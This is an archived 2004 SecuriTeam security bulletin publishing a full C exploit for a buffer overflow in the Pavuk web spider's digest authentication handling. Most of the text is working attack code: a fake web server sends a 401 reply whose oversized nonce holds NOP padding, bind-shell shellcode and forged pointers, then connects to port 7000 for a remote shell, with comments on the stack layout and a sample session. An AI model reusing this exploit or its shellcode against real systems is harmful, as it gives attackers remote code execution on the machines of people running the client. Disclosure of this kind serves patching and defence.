

[EXPL] Pavuk Digest Authentication Buffer Overflow Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0024.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 08/09/04

To: list@securiteam.com

Date: 9 Aug 2004 19:30:57 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Pavuk Digest Authentication Buffer Overflow Exploit

SUMMARY

In a previous article –

<<http://www.securiteam.com/unixfocus/5OP0L2ADFC.html>> Pavuk Digest Authentication Buffer Overflow Vulnerabilities, a buffer overflow vulnerability was found in Pavuk's digest authentication code.

An exploit that spawns a shell is listed below with detailed explanations of the relevant pieces of code and the exploit structure.

DETAILS

Exploit:

/*

* exploit for pavuk web spider – infamous42md AT hotpop DOT com

*

* shouts to mitakeet, skullandcircle, and thanks to matt murphy for making me

* realize a n00bish mistake i made.

*

* this exploit probably deserves a bit of an explanation as it was not

Securiteam: [EXPL] Pavuk Digest Authentication Buffer Overflow Exploit

exactly

* straight forward. the vulnerable code looks like this, with some comments

* inlined by me:

*/

#if 0

```
char *http_get_digest_auth_str(auth_digest, method, user, pass, urlp, buf)
```

```
http_digest_info *auth_digest;
```

```
char *method;
```

```
char *user;
```

```
char *pass;
```

```
url *urlp;
```

```
char *buf;
```

```
{
```

```
    /* this is the buffer we bitch slap */
```

```
    char pom[1024];
```

```
    char *a1,*a2,*a3;
```

```
    char *d = url_encode_str(urlp->p.http.document, URL_PATH_UNSAFE);
```

```
    /* not yet */
```

```
    sprintf(pom, "%s:%s:%s", user, auth_digest->realm, pass);
```

```
    a1 = _md5(pom);
```

```
    sprintf(pom, "%s:%s", method, d);
```

```
    /* this turns into a 32 byte string */
```

```
    a2 = _md5(pom);
```

```
    /*
```

```
    * this is the point that we overflow the buffer. we control
```

```
    * auth_digest->nonce, and that is where all of our evil code go. but  
crap,
```

```
    * look, the string a2 gets appended to the nonce buffer, that means
```

```
    * whatever lives above the saved EIP we overwrite is going to get  
fuxxored
```

```
    * to. that means the arguments to the function get trashed, usually  
not a
```

```
    * problem, but look below at the following sprintf(). those variables  
get
```

```
    * used again, so we have to restore them to a sane state.
```

```
    */
```

```
    sprintf(pom, "%s:%s:%s", a1, auth_digest->nonce, a2);
```

```
    a3 = _md5(pom);
```

```
    /* crap */
```

```
    sprintf(buf,
```

```
        "Digest username=\"%s\", realm=\"%s\", nonce=\"%s\",  
uri=\"%s\", response=\"%s\"",
```

```
        user, auth_digest->realm, auth_digest->nonce, d, a3);
```

```
    /* more crap, we need to repair nearly all of the parameters */
```

```
    if (auth_digest->opaque)
```

Securiteam: [EXPL] Pavuk Digest Authentication Buffer Overflow Exploit

```
{
    strcat(buf, ", opaque=\\");
    strcat(buf, auth_digest->opaque);
    strcat(buf, "\\");
}
_free(d);
_free(a1);
_free(a2);
_free(a3);

return buf;
}
#endif
/*
 * so u can see we can't just overflow and go. we need to recreate at
least
 * the auth_digest pointer, the user pointer, and the buf pointer. so, the
 * strategy is as follows:
 *
 * + overwrite auth_digest to point into the buffer we control
 * + where we point auth_digest must also contain valid pointers as they
are
 * used as the strings that get printed into buffer.
 * + so we point those pointers towards the very end of our buffer. the
 * strings they point to should not be so long. our buffer is NULL termed
so if
 * they point towards the end of it, we know they'll end at a set point.
 * + we set the user pointer to the same place as the auth_digest pointer.
 * + we set buf to point past the end of our buffer, at some higher
address.
 * that is where all the other strings get printed to in sprintf() and
 * strcat().
 * + and that's about it. so our buffer looks like this:
 *
 * <-----|
 * ALIGN NOPS SHELL STRING_PTRS RETADDR USER_AND_DIGEST_PTRS BUF_PTRS
 * |-----^ |-----^
 *
 * the only arg you pass is the base address of the buffer that we
overwrite,
 * which lays somewhere on the stack. note this is not the location of our
 * original buffer, but the location of the pom variable from above func.
and
 * you need to be root as we bind to port 80 and pretend to be a
webserver.
 *
 * [root@localho.outernet] ./ps
 * Usage: ./ps <base of nonce buffer>
 *
 * [root@localho.outernet] ./ps 0xbfffdb34
 * got a shell

```

Securiteam: [EXPL] Pavuk Digest Authentication Buffer Overflow Exploit

```
*
* id
* uid=1000(n00b) gid=100(users) groups=100(users)
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

#define die(x) do{ perror((x)); exit(1); }while(0)
#define SHELL_PORT 7000
#define HTTP_PORT 80
#define BS 0x1000

/* probably don't need all this */
char *reply =
"HTTP/1.1 401 Authorization Required\n"
"Date: Sat, 07 Aug 2004 02:10:07 GMT\n"
"Server: Apache/1.3.27 (Unix) PHP/4.3.1\n"
"WWW-Authenticate: Digest realm=\"time2die\" nonce=\"%s\"\n"
"Status: 401 Not Authorized\n"
"Connection: close\n"
"Content-Type: text/html\r\n\r\n";

/* call them */
char sc[] =
"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89xeb\x31\xc9\xb0\x3f\xcd\x80"
"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int conn(struct sockaddr_in *sap)
{
    int sock;

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if(sock < 0)
        die("socket");
    if(connect(sock, (struct sockaddr *)sap, sizeof(*sap)) < 0)
        die("connect");
}
```

Securiteam: [EXPL] Pavuk Digest Authentication Buffer Overflow Exploit

```
    return sock;
}

void shell(struct sockaddr_in *sap)
{
    int sock = 0, l = 0;
    char buf[BS];
    fd_set rfd;

    sap->sin_port = htons(SHELL_PORT);
    sock = conn(sap);

    printf("got a shell\n\n");
    FD_ZERO(&rfd);

    while (1) {
        FD_SET(STDIN_FILENO, &rfd);
        FD_SET(sock, &rfd);

        if (select(sock + 1, &rfd, NULL, NULL, NULL) < 1)
            die("select");

        if (FD_ISSET(STDIN_FILENO, &rfd)) {
            if ((l = read(0, buf, BS)) <= 0)
                die("\n - Connection closed by user\n");
            if (write(sock, buf, l) < 1)
                die("write");
        }

        if (FD_ISSET(sock, &rfd)) {
            l = read(sock, buf, sizeof(buf));

            if (l == 0)
                die("\n - Connection terminated.\n");
            else if (l < 0)
                die("\n - Read failure\n");

            if (write(1, buf, l) < 1)
                die("write");
        }
    }
}

int do_listen()
{
    int sock = 0, on = 1;
    struct sockaddr_in sa;

    memset(&sa, 0, sizeof(sa));
    sa.sin_family = AF_INET;
    sa.sin_port = htons(HTTP_PORT);
```

Securiteam: [EXPL] Pavuk Digest Authentication Buffer Overflow Exploit

```
sa.sin_addr.s_addr = INADDR_ANY;

sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock < 0)
    die("socket");

if(setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0)
    die("setsockopt");

if(bind(sock, (struct sockaddr *)&sa, sizeof(sa)) < 0)
    die("bind");

if(listen(sock, 1) < 0)
    die("listen");

return sock;
}

void sploit(int sock, struct sockaddr_in *sap, u_long nbase)
{
    int len = 0, x;
    char buf[BS], evil_nonce[BS];
    u_long retaddr, ptrs_to_struct, fake_structs, new_buf;

    memset(buf, 0, BS), memset(evil_nonce, 0, BS);

    /* read the req */
    if(recv(sock, buf, BS, 0) < 0)
        die("read");

    /* build the buffer */

#define ALIGN 3
#define NNOPS 100
#define SHELL_LEN 132
#define PTRS_OFFSET (ALIGN+NNOPS+SHELL_LEN) /* the string pointers */
#define PTRS_LEN 500
#define RET_OFFSET (PTRS_OFFSET+PTRS_LEN)
#define RET_LEN 288
#define PPTRS_OFFSET (RET_OFFSET+RET_LEN) /* the pointers to pointers */
#define PPTRS_LEN 20
#define BUF_OFFSET (PPTRS_OFFSET+PPTRS_LEN) /* the pointer to new buf */
#define BUF_LEN 20
#define TOTAL_LEN (BUF_OFFSET+BUF_LEN)

#define PTRS_LOC 1000 /* where the strings point to */
#define PPTRS_LOC 300 /* offset from base to the string pointers */
#define RET_LOC 50 /* offset of NOP buffer */
    fake_structs = nbase + PTRS_LOC;
    retaddr = nbase + RET_LOC;
    ptrs_to_struct = nbase + PPTRS_LOC;
```

Securiteam: [EXPL] Pavuk Digest Authentication Buffer Overflow Exploit

```
new_buf = nbase + TOTAL_LEN*2;

/* the NOPS and shellcode */
memset(evil_nonce, 'A', ALIGN);
memset(evil_nonce+ALIGN, 0x90, BS);
memcpy(evil_nonce+NNOPS+ALIGN, sc, SHELL_LEN);

/* the fake pointers point towards end of buffer */
for(x = 0; x < PTRS_LEN-3; x += sizeof(fake_structs))
    memcpy(evil_nonce+PTRS_OFFSET+x, &fake_structs,
sizeof(fake_structs));

/* the ret addr */
for(x = 0; x < RET_LEN; x += sizeof(retaddr))
    memcpy(evil_nonce+RET_OFFSET+x, &retaddr, sizeof(retaddr));

/* the pointers to the fake pointers */
for(x = 0; x < PPTRS_LEN; x+= sizeof(ptrs_to_struct))
    memcpy(evil_nonce+PPTRS_OFFSET+x, &ptrs_to_struct,
sizeof(ptrs_to_struct));

/* and the new location for buf */
for(x = 0; x < BUF_LEN; x+= sizeof(new_buf))
    memcpy(evil_nonce+BUF_OFFSET+x, &new_buf, sizeof(new_buf));

evil_nonce[TOTAL_LEN] = 0;

/* fill in HTTP reply */
len = sprintf(buf, BS-1, reply, evil_nonce);

/* i dont care what u request, you're getting the sploit */
if(send(sock, buf, len, 0) < 0)
    die("send");

close(sock);

sleep(1);
shell(sap);
}

int main(int argc, char **argv)
{
    int lsock, asock;
    u_long nbase = 0;
    struct sockaddr_in sa;
    pid_t cpid;
    socklen_t salen;

    if(argc < 2){
        fprintf(stderr, "\tUsage: %s <base of nonce buffer>\n", argv[0]);
        return EXIT_FAILURE;
    }
}
```

Securiteam: [EXPL] Pavuk Digest Authentication Buffer Overflow Exploit

```
}
sscanf(argv[1], "%lx\n", &nbase);

lsock = do_listen();

while(1){
    asock = accept(lsock, (struct sockaddr *)&sa, &salen);

    if( (cpid = fork()) == 0)
        sploit(asock, &sa, nbase);
    else if(cpid < 0)
        die("fork");

    close(asock);
}

return EXIT_SUCCESS;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:infamous41md@hotpop.com>
sean.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.